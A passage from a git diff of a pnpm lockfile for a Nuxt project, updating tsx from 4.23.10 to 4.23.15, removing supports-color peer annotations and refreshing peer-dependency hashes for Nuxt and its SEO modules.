3.4.1(magic-string@1.1.0)(magicast@0.5.4)(oxc-parser@0.142.0)(rolldown@1.2.3)(unplugin@3.3.0(esbuild@0.25.12)(rolldown@1.2.3)(rollup@4.62.4)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.15)(yaml@2.9.0)))(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.15)(yaml@2.9.0)) + '@nuxt/eslint-config': 1.17.0(@typescript-eslint/utils@8.66.0(eslint@10.8.0(jiti@2.7.0))(typescript@6.0.3))(@vue/compiler-sfc@3.5.41)(eslint@10.8.0(jiti@2.7.0))(typescript@6.0.3) + '@nuxt/eslint-plugin': 1.17.0(eslint@10.8.0(jiti@2.7.0))(typescript@6.0.3) + '@nuxt/kit': 4.5.2(magic-string@1.1.0)(magicast@0.5.4)(oxc-parser@0.142.0)(rolldown@1.2.3)(unplugin@3.3.0(esbuild@0.25.12)(rolldown@1.2.3)(rollup@4.62.4)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.15)(yaml@2.9.0))) chokidar: 5.0.0 - eslint: 10.8.0(jiti@2.7.0)(supports-color@10.2.2) + eslint: 10.8.0(jiti@2.7.0) eslint-flat-config-utils: 3.2.0 - eslint-typegen: 2.3.1(eslint@10.8.0(jiti@2.7.0)(supports-color@10.2.2)) + eslint-typegen: 2.3.1(eslint@10.8.0(jiti@2.7.0)) find-up: 8.0.0 get-port-please: 3.2.0 mlly: 1.8.2 pathe: 2.0.3 - unimport: 6.4.0(esbuild@0.25.12)(oxc-parser@0.142.0)(rolldown@1.2.3)(rollup@4.62.4)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.10)(yaml@2.9.0)) + unimport: 6.4.0(esbuild@0.25.12)(oxc-parser@0.142.0)(rolldown@1.2.3)(rollup@4.62.4)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.15)(yaml@2.9.0)) transitivePeerDependencies: - '@farmfe/core' - '@modelcontextprotocol/client' @@ -7389,7 +7397,7 @@ snapshots: transitivePeerDependencies: - magicast - '@nuxt/kit@4.5.2(magic-string@1.1.0)(magicast@0.5.4)(oxc-parser@0.142.0)(rolldown@1.2.3)(unplugin@3.3.0(esbuild@0.25.12)(rolldown@1.2.3)(rollup@4.62.4)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.10)(yaml@2.9.0)))': + '@nuxt/kit@4.5.2(magic-string@1.1.0)(magicast@0.5.4)(oxc-parser@0.142.0)(rolldown@1.2.3)(unplugin@3.3.0(esbuild@0.25.12)(rolldown@1.2.3)(rollup@4.62.4)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.15)(yaml@2.9.0)))': dependencies: c12: 3.3.4(magicast@0.5.4) consola: 3.4.2 @@ -7409,7 +7417,7 @@ snapshots: scule: 1.3.0 tinyglobby: 0.2.17 ufo: 1.6.4 - unctx: 3.0.0(magic-string@1.1.0)(oxc-parser@0.142.0)(rolldown@1.2.3)(unplugin@3.3.0(esbuild@0.25.12)(rolldown@1.2.3)(rollup@4.62.4)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.10)(yaml@2.9.0))) + unctx: 3.0.0(magic-string@1.1.0)(oxc-parser@0.142.0)(rolldown@1.2.3)(unplugin@3.3.0(esbuild@0.25.12)(rolldown@1.2.3)(rollup@4.62.4)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.15)(yaml@2.9.0))) untyped: 2.0.0 verkit: 0.3.2 transitivePeerDependencies: @@ -7419,11 +7427,11 @@ snapshots: - rolldown - unplugin - '@nuxt/nitro-server@4.5.2(939e14dbbe7d2e2e95d6de722d728255)': + '@nuxt/nitro-server@4.5.2(6be6cc826f211ead8f9963a4117b341a)': dependencies: '@nuxt/devalue': 2.0.2 - '@nuxt/kit': 4.5.2(magic-string@1.1.0)(magicast@0.5.4)(oxc-parser@0.142.0)(rolldown@1.2.3)(unplugin@3.3.0(esbuild@0.25.12)(rolldown@1.2.3)(rollup@4.62.4)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.10)(yaml@2.9.0))) - '@unhead/vue': 3.3.1(@oxc-project/types@0.143.0)(esbuild@0.25.12)(lightningcss@1.33.0)(oxc-parser@0.142.0)(rolldown@1.2.3)(rollup@4.62.4)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.10)(yaml@2.9.0))(vue@3.5.41(typescript@6.0.3)) + '@nuxt/kit': 4.5.2(magic-string@1.1.0)(magicast@0.5.4)(oxc-parser@0.142.0)(rolldown@1.2.3)(unplugin@3.3.0(esbuild@0.25.12)(rolldown@1.2.3)(rollup@4.62.4)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.15)(yaml@2.9.0))) + '@unhead/vue': 3.3.1(@oxc-project/types@0.143.0)(esbuild@0.25.12)(lightningcss@1.33.0)(oxc-parser@0.142.0)(rolldown@1.2.3)(rollup@4.62.4)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.15)(yaml@2.9.0))(vue@3.5.41(typescript@6.0.3)) '@vue/shared': 3.5.41 consola: 3.4.2 defu: 6.1.7 @@ -7433,25 +7441,25 @@ snapshots: escape-string-regexp: 5.0.0 exsolve: 1.1.1 h3: 1.15.11 - impound: 1.1.6(esbuild@0.25.12)(rolldown@1.2.3)(rollup@4.62.4)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.10)(yaml@2.9.0)) + impound: 1.1.6(esbuild@0.25.12)(rolldown@1.2.3)(rollup@4.62.4)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.15)(yaml@2.9.0)) klona: 2.0.6 mocked-exports: 0.1.1 - nitropack: 2.13.4(@parcel/watcher@2.6.0)(oxc-parser@0.142.0)(rolldown@1.2.3)(srvx@0.11.22)(supports-color@10.2.2)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.10)(yaml@2.9.0)) + nitropack: 2.13.4(@parcel/watcher@2.6.0)(oxc-parser@0.142.0)(rolldown@1.2.3)(srvx@0.11.22)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.15)(yaml@2.9.0)) nostics: 1.2.0 - nuxt: 4.5.2(@babel/plugin-syntax-jsx@7.29.7(@babel/core@7.29.7(supports-color@10.2.2)))(@babel/plugin-syntax-typescript@7.29.7(@babel/core@7.29.7(supports-color@10.2.2)))(@oxc-project/types@0.143.0)(@parcel/watcher@2.6.0)(@types/node@26.1.2)(@vue/compiler-sfc@3.5.41)(cac@7.0.0)(db0@0.3.4)(esbuild@0.25.12)(eslint@10.8.0(jiti@2.7.0)(supports-color@10.2.2))(ioredis@5.11.1(supports-color@10.2.2))(lightningcss@1.33.0)(magicast@0.5.4)(meow@14.1.0)(optionator@0.9.4)(oxc-parser@0.142.0)(pinia@3.0.4(typescript@6.0.3)(vue@3.5.41(typescript@6.0.3)))(rolldown@1.2.3)(rollup-plugin-visualizer@7.0.1(rolldown@1.2.3)(rollup@4.62.4))(rollup@4.62.4)(sass@1.105.1)(srvx@0.11.22)(stylelint@17.15.0(supports-color@10.2.2)(typescript@6.0.3))(supports-color@10.2.2)(terser@5.49.2)(tsx@4.23.10)(typescript@6.0.3)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.10)(yaml@2.9.0))(yaml@2.9.0) + nuxt: 4.5.2(@babel/plugin-syntax-jsx@7.29.7(@babel/core@7.29.7))(@babel/plugin-syntax-typescript@7.29.7(@babel/core@7.29.7))(@oxc-project/types@0.143.0)(@parcel/watcher@2.6.0)(@types/node@26.1.2)(@vue/compiler-sfc@3.5.41)(cac@7.0.0)(db0@0.3.4)(esbuild@0.25.12)(eslint@10.8.0(jiti@2.7.0))(ioredis@5.11.1)(lightningcss@1.33.0)(magicast@0.5.4)(meow@14.1.0)(optionator@0.9.4)(oxc-parser@0.142.0)(pinia@3.0.4(typescript@6.0.3)(vue@3.5.41(typescript@6.0.3)))(rolldown@1.2.3)(rollup-plugin-visualizer@7.0.1(rolldown@1.2.3)(rollup@4.62.4))(rollup@4.62.4)(sass@1.105.1)(srvx@0.11.22)(stylelint@17.15.0(typescript@6.0.3))(terser@5.49.2)(tsx@4.23.15)(typescript@6.0.3)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.15)(yaml@2.9.0))(yaml@2.9.0) nypm: 0.6.9 ohash: 2.0.11 pathe: 2.0.3 rou3: 0.9.1 std-env: 4.2.0 ufo: 1.6.4 - unctx: 3.0.0(magic-string@1.1.0)(oxc-parser@0.142.0)(rolldown@1.2.3)(unplugin@3.3.0(esbuild@0.25.12)(rolldown@1.2.3)(rollup@4.62.4)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.10)(yaml@2.9.0))) - unstorage: 1.17.5(db0@0.3.4)(ioredis@5.11.1(supports-color@10.2.2)) + unctx: 3.0.0(magic-string@1.1.0)(oxc-parser@0.142.0)(rolldown@1.2.3)(unplugin@3.3.0(esbuild@0.25.12)(rolldown@1.2.3)(rollup@4.62.4)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.15)(yaml@2.9.0))) + unstorage: 1.17.5(db0@0.3.4)(ioredis@5.11.1) vue: 3.5.41(typescript@6.0.3) vue-bundle-renderer: 2.3.1 vue-devtools-stub: 0.1.0 optionalDependencies: - '@babel/plugin-syntax-typescript': 7.29.7(@babel/core@7.29.7(supports-color@10.2.2)) + '@babel/plugin-syntax-typescript': 7.29.7(@babel/core@7.29.7) transitivePeerDependencies: - '@azure/app-configuration' - '@azure/cosmos' @@ -7514,20 +7522,20 @@ snapshots: pkg-types: 2.3.1 std-env: 4.2.0 - '@nuxt/telemetry@2.8.0(@nuxt/kit@4.5.2(magic-string@1.1.0)(magicast@0.5.4)(oxc-parser@0.142.0)(rolldown@1.2.3)(unplugin@3.3.0(esbuild@0.25.12)(rolldown@1.2.3)(rollup@4.62.4)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.10)(yaml@2.9.0))))': + '@nuxt/telemetry@2.8.0(@nuxt/kit@4.5.2(magic-string@1.1.0)(magicast@0.5.4)(oxc-parser@0.142.0)(rolldown@1.2.3)(unplugin@3.3.0(esbuild@0.25.12)(rolldown@1.2.3)(rollup@4.62.4)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.15)(yaml@2.9.0))))': dependencies: - '@nuxt/kit': 4.5.2(magic-string@1.1.0)(magicast@0.5.4)(oxc-parser@0.142.0)(rolldown@1.2.3)(unplugin@3.3.0(esbuild@0.25.12)(rolldown@1.2.3)(rollup@4.62.4)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.10)(yaml@2.9.0))) + '@nuxt/kit': 4.5.2(magic-string@1.1.0)(magicast@0.5.4)(oxc-parser@0.142.0)(rolldown@1.2.3)(unplugin@3.3.0(esbuild@0.25.12)(rolldown@1.2.3)(rollup@4.62.4)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.15)(yaml@2.9.0))) citty: 0.2.2 consola: 3.4.2 ofetch: 2.0.0-alpha.3 rc9: 3.0.1 std-env: 4.2.0 - '@nuxt/vite-builder@4.5.2(c451715f9da445cf1604dc21ee91ddbf)': + '@nuxt/vite-builder@4.5.2(08c1d6837a056862854e60ca899e0fc8)': dependencies: - '@nuxt/kit': 4.5.2(magic-string@1.1.0)(magicast@0.5.4)(oxc-parser@0.142.0)(rolldown@1.2.3)(unplugin@3.3.0(esbuild@0.25.12)(rolldown@1.2.3)(rollup@4.62.4)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.10)(yaml@2.9.0))) - '@vitejs/plugin-vue': 6.0.8(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.10)(yaml@2.9.0))(vue@3.5.41(typescript@6.0.3)) - '@vitejs/plugin-vue-jsx': 5.1.6(supports-color@10.2.2)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.10)(yaml@2.9.0))(vue@3.5.41(typescript@6.0.3)) + '@nuxt/kit': 4.5.2(magic-string@1.1.0)(magicast@0.5.4)(oxc-parser@0.142.0)(rolldown@1.2.3)(unplugin@3.3.0(esbuild@0.25.12)(rolldown@1.2.3)(rollup@4.62.4)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.15)(yaml@2.9.0))) + '@vitejs/plugin-vue': 6.0.8(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.15)(yaml@2.9.0))(vue@3.5.41(typescript@6.0.3)) + '@vitejs/plugin-vue-jsx': 5.1.6(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.15)(yaml@2.9.0))(vue@3.5.41(typescript@6.0.3)) autoprefixer: 10.5.4(postcss@8.5.26) consola: 3.4.2 cssnano: 8.0.4(postcss@8.5.26) @@ -7541,7 +7549,7 @@ snapshots: knitwork: 1.3.0 mlly: 1.8.2 mocked-exports: 0.1.1 - nuxt: 4.5.2(@babel/plugin-syntax-jsx@7.29.7(@babel/core@7.29.7(supports-color@10.2.2)))(@babel/plugin-syntax-typescript@7.29.7(@babel/core@7.29.7(supports-color@10.2.2)))(@oxc-project/types@0.143.0)(@parcel/watcher@2.6.0)(@types/node@26.1.2)(@vue/compiler-sfc@3.5.41)(cac@7.0.0)(db0@0.3.4)(esbuild@0.25.12)(eslint@10.8.0(jiti@2.7.0)(supports-color@10.2.2))(ioredis@5.11.1(supports-color@10.2.2))(lightningcss@1.33.0)(magicast@0.5.4)(meow@14.1.0)(optionator@0.9.4)(oxc-parser@0.142.0)(pinia@3.0.4(typescript@6.0.3)(vue@3.5.41(typescript@6.0.3)))(rolldown@1.2.3)(rollup-plugin-visualizer@7.0.1(rolldown@1.2.3)(rollup@4.62.4))(rollup@4.62.4)(sass@1.105.1)(srvx@0.11.22)(stylelint@17.15.0(supports-color@10.2.2)(typescript@6.0.3))(supports-color@10.2.2)(terser@5.49.2)(tsx@4.23.10)(typescript@6.0.3)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.10)(yaml@2.9.0))(yaml@2.9.0) + nuxt: 4.5.2(@babel/plugin-syntax-jsx@7.29.7(@babel/core@7.29.7))(@babel/plugin-syntax-typescript@7.29.7(@babel/core@7.29.7))(@oxc-project/types@0.143.0)(@parcel/watcher@2.6.0)(@types/node@26.1.2)(@vue/compiler-sfc@3.5.41)(cac@7.0.0)(db0@0.3.4)(esbuild@0.25.12)(eslint@10.8.0(jiti@2.7.0))(ioredis@5.11.1)(lightningcss@1.33.0)(magicast@0.5.4)(meow@14.1.0)(optionator@0.9.4)(oxc-parser@0.142.0)(pinia@3.0.4(typescript@6.0.3)(vue@3.5.41(typescript@6.0.3)))(rolldown@1.2.3)(rollup-plugin-visualizer@7.0.1(rolldown@1.2.3)(rollup@4.62.4))(rollup@4.62.4)(sass@1.105.1)(srvx@0.11.22)(stylelint@17.15.0(typescript@6.0.3))(terser@5.49.2)(tsx@4.23.15)(typescript@6.0.3)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.15)(yaml@2.9.0))(yaml@2.9.0) nypm: 0.6.9 pathe: 2.0.3 pkg-types: 2.3.1 @@ -7551,23 +7559,19 @@ snapshots: std-env: 4.2.0 ufo: 1.6.4 unenv: 2.0.0-rc.24 - unplugin: 3.3.0(esbuild@0.25.12)(rolldown@1.2.3)(rollup@4.62.4)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.10)(yaml@2.9.0)) - vite: 8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.10)(yaml@2.9.0) - vite-node: 6.0.0(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.10)(yaml@2.9.0) - vite-plugin-checker: 0.14.5(eslint@10.8.0(jiti@2.7.0)(supports-color@10.2.2))(meow@14.1.0)(optionator@0.9.4)(stylelint@17.15.0(supports-color@10.2.2)(typescript@6.0.3))(typescript@6.0.3)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.10)(yaml@2.9.0)) + vite: 8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.15)(yaml@2.9.0) + vite-node: 6.0.0(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.15)(yaml@2.9.0) + vite-plugin-checker: 0.14.5(eslint@10.8.0(jiti@2.7.0))(meow@14.1.0)(optionator@0.9.4)(stylelint@17.15.0(typescript@6.0.3))(typescript@6.0.3)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.15)(yaml@2.9.0)) vue: 3.5.41(typescript@6.0.3) vue-bundle-renderer: 2.3.1 optionalDependencies: - '@babel/plugin-syntax-jsx': 7.29.7(@babel/core@7.29.7(supports-color@10.2.2)) + '@babel/plugin-syntax-jsx': 7.29.7(@babel/core@7.29.7) rolldown: 1.2.3 rollup-plugin-visualizer: 7.0.1(rolldown@1.2.3)(rollup@4.62.4) transitivePeerDependencies: - '@biomejs/biome' - - '@farmfe/core' - - '@rspack/core' - '@types/node' - '@vitejs/devtools' - - bun-types-no-globals - esbuild - eslint - less @@ -7577,7 +7581,6 @@ snapshots: - optionator - oxc-parser - oxlint - - rollup - sass - sass-embedded - stylelint @@ -7587,9 +7590,8 @@ snapshots: - terser - tsx - typescript - - unloader + - unplugin - vue-tsc - - webpack - yaml '@nuxtjs/google-fonts@3.2.0(magicast@0.5.4)': @@ -7600,15 +7602,15 @@ snapshots: transitivePeerDependencies: - magicast - '@nuxtjs/robots@6.1.3(f964271bb36a557850bb349e3da7a4bd)': + '@nuxtjs/robots@6.1.3(7f089dda3677d5e76f6c9e5335d8969d)': dependencies: '@fingerprintjs/botd': 2.0.0 - '@nuxt/kit': 4.5.2(magic-string@1.1.0)(magicast@0.5.4)(oxc-parser@0.142.0)(rolldown@1.2.3)(unplugin@3.3.0(esbuild@0.25.12)(rolldown@1.2.3)(rollup@4.62.4)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.10)(yaml@2.9.0))) + '@nuxt/kit': 4.5.2(magic-string@1.1.0)(magicast@0.5.4)(oxc-parser@0.142.0)(rolldown@1.2.3)(unplugin@3.3.0(esbuild@0.25.12)(rolldown@1.2.3)(rollup@4.62.4)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.15)(yaml@2.9.0))) consola: 3.4.2 defu: 6.1.7 h3: 1.15.11 - nuxt-site-config: 4.2.0(f964271bb36a557850bb349e3da7a4bd) - nuxtseo-shared: 5.3.10(506c592eb03846313a3f5d1595fc6889) + nuxt-site-config: 4.2.0(7f089dda3677d5e76f6c9e5335d8969d) + nuxtseo-shared: 5.3.10(e7e317c556a96caaa3d5be917284fb38) pathe: 2.0.3 pkg-types: 2.3.1 ufo: 1.6.4 @@ -7623,18 +7625,18 @@ snapshots: - vite - vue - '@nuxtjs/seo@5.3.10(23a11bd7378bcb74ded7db8eb3f5b08b)': - dependencies: - '@nuxt/kit': 4.5.2(magic-string@1.1.0)(magicast@0.5.4)(oxc-parser@0.142.0)(rolldown@1.2.3)(unplugin@3.3.0(esbuild@0.25.12)(rolldown@1.2.3)(rollup@4.62.4)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.10)(yaml@2.9.0))) - '@nuxtjs/robots': 6.1.3(f964271bb36a557850bb349e3da7a4bd) - '@nuxtjs/sitemap': 8.3.3(f964271bb36a557850bb349e3da7a4bd) - nuxt: 4.5.2(@babel/plugin-syntax-jsx@7.29.7(@babel/core@7.29.7(supports-color@10.2.2)))(@babel/plugin-syntax-typescript@7.29.7(@babel/core@7.29.7(supports-color@10.2.2)))(@oxc-project/types@0.143.0)(@parcel/watcher@2.6.0)(@types/node@26.1.2)(@vue/compiler-sfc@3.5.41)(cac@7.0.0)(db0@0.3.4)(esbuild@0.25.12)(eslint@10.8.0(jiti@2.7.0)(supports-color@10.2.2))(ioredis@5.11.1(supports-color@10.2.2))(lightningcss@1.33.0)(magicast@0.5.4)(meow@14.1.0)(optionator@0.9.4)(oxc-parser@0.142.0)(pinia@3.0.4(typescript@6.0.3)(vue@3.5.41(typescript@6.0.3)))(rolldown@1.2.3)(rollup-plugin-visualizer@7.0.1(rolldown@1.2.3)(rollup@4.62.4))(rollup@4.62.4)(sass@1.105.1)(srvx@0.11.22)(stylelint@17.15.0(supports-color@10.2.2)(typescript@6.0.3))(supports-color@10.2.2)(terser@5.49.2)(tsx@4.23.10)(typescript@6.0.3)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.10)(yaml@2.9.0))(yaml@2.9.0) - nuxt-link-checker: 5.1.3(073d05fcc8850462c89d9255517da191) - nuxt-og-image: 6.7.6(53be939db9d25e3b03ee880813903870) - nuxt-schema-org: 6.2.8(ac023424663d637d35a549ec04853864) - nuxt-seo-utils: 8.3.3(c76948da82c2396f2c34923c70282261) - nuxt-site-config: 4.2.0(f964271bb36a557850bb349e3da7a4bd) - nuxtseo-shared: 5.3.10(506c592eb03846313a3f5d1595fc6889) + '@nuxtjs/seo@5.3.10(90367d1c4564690123e38c844c310bb8)': + dependencies: + '@nuxt/kit': 4.5.2(magic-string@1.1.0)(magicast@0.5.4)(oxc-parser@0.142.0)(rolldown@1.2.3)(unplugin@3.3.0(esbuild@0.25.12)(rolldown@1.2.3)(rollup@4.62.4)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.15)(yaml@2.9.0))) + '@nuxtjs/robots': 6.1.3(7f089dda3677d5e76f6c9e5335d8969d) + '@nuxtjs/sitemap': 8.3.3(7f089dda3677d5e76f6c9e5335d8969d) + nuxt: 4.5.2(@babel/plugin-syntax-jsx@7.29.7(@babel/core@7.29.7))(@babel/plugin-syntax-typescript@7.29.7(@babel/core@7.29.7))(@oxc-project/types@0.143.0)(@parcel/watcher@2.6.0)(@types/node@26.1.2)(@vue/compiler-sfc@3.5.41)(cac@7.0.0)(db0@0.3.4)(esbuild@0.25.12)(eslint@10.8.0(jiti@2.7.0))(ioredis@5.11.1)(lightningcss@1.33.0)(magicast@0.5.4)(meow@14.1.0)(optionator@0.9.4)(oxc-parser@0.142.0)(pinia@3.0.4(typescript@6.0.3)(vue@3.5.41(typescript@6.0.3)))(rolldown@1.2.3)(rollup-plugin-visualizer@7.0.1(rolldown@1.2.3)(rollup@4.62.4))(rollup@4.62.4)(sass@1.105.1)(srvx@0.11.22)(stylelint@17.15.0(typescript@6.0.3))(terser@5.49.2)(tsx@4.23.15)(typescript@6.0.3)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.15)(yaml@2.9.0))(yaml@2.9.0) + nuxt-link-checker: 5.1.3(ee45fc925654584e4a6f72bf8e386c53) + nuxt-og-image: 6.7.6(f726c63e583b3eb786f27b68321e6d91) + nuxt-schema-org: 6.2.8(2d10904abaf8d3b235f35e4fac57727b) + nuxt-seo-utils: 8.3.3(a89aa3147dcc17dfe4200c84f0407a4d) + nuxt-site-config: 4.2.0(7f089dda3677d5e76f6c9e5335d8969d) + nuxtseo-shared: 5.3.10(e7e317c556a96caaa3d5be917284fb38) transitivePeerDependencies: - '@azure/app-configuration' - '@azure/cosmos' @@ -7693,13 +7695,13 @@ snapshots: - webpack - zod - '@nuxtjs/sitemap@8.3.3(f964271bb36a557850bb349e3da7a4bd)': + '@nuxtjs/sitemap@8.3.3(7f089dda3677d5e76f6c9e5335d8969d)': dependencies: - '@nuxt/kit': 4.5.2(magic-string@1.1.0)(magicast@0.5.4)(oxc-parser@0.142.0)(rolldown@1.2.3)(unplugin@3.3.0(esbuild@0.25.12)(rolldown@1.2.3)(rollup@4.62.4)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.10)(yaml@2.9.0))) + '@nuxt/kit': 4.5.2(magic-string@1.1.0)(magicast@0.5.4)(oxc-parser@0.142.0)(rolldown@1.2.3)(unplugin@3.3.0(esbuild@0.25.12)(rolldown@1.2.3)(rollup@4.62.4)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.15)(yaml@2.9.0))) consola: 3.4.2 defu: 6.1.7 - nuxt-site-config: 4.2.0(f964271bb36a557850bb349e3da7a4bd) - nuxtseo-shared: 5.3.10(506c592eb03846313a3f5d1595fc6889) + nuxt-site-config: 4.2.0(7f089dda3677d5e76f6c9e5335d8969d) + nuxtseo-shared: 5.3.10(e7e317c556a96caaa3d5be917284fb38) ofetch: 1.5.1 pathe: 2.0.3 pkg-types: 2.3.1 @@ -7848,9 +7850,9 @@ snapshots: '@parcel/watcher-win32-x64': 2.6.0 optional: true - '@pinia/nuxt@0.11.3(magic-string@1.1.0)(magicast@0.5.4)(oxc-parser@0.142.0)(pinia@3.0.4(typescript@6.0.3)(vue@3.5.41(typescript@6.0.3)))(rolldown@1.2.3)(unplugin@3.3.0(esbuild@0.25.12)(rolldown@1.2.3)(rollup@4.62.4)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.10)(yaml@2.9.0)))': + '@pinia/nuxt@0.11.3(magic-string@1.1.0)(magicast@0.5.4)(oxc-parser@0.142.0)(pinia@3.0.4(typescript@6.0.3)(vue@3.5.41(typescript@6.0.3)))(rolldown@1.2.3)(unplugin@3.3.0(esbuild@0.25.12)(rolldown@1.2.3)(rollup@4.62.4)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.15)(yaml@2.9.0)))': dependencies: - '@nuxt/kit': 4.5.2(magic-string@1.1.0)(magicast@0.5.4)(oxc-parser@0.142.0)(rolldown@1.2.3)(unplugin@3.3.0(esbuild@0.25.12)(rolldown@1.2.3)(rollup@4.62.4)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.10)(yaml@2.9.0))) + '@nuxt/kit': 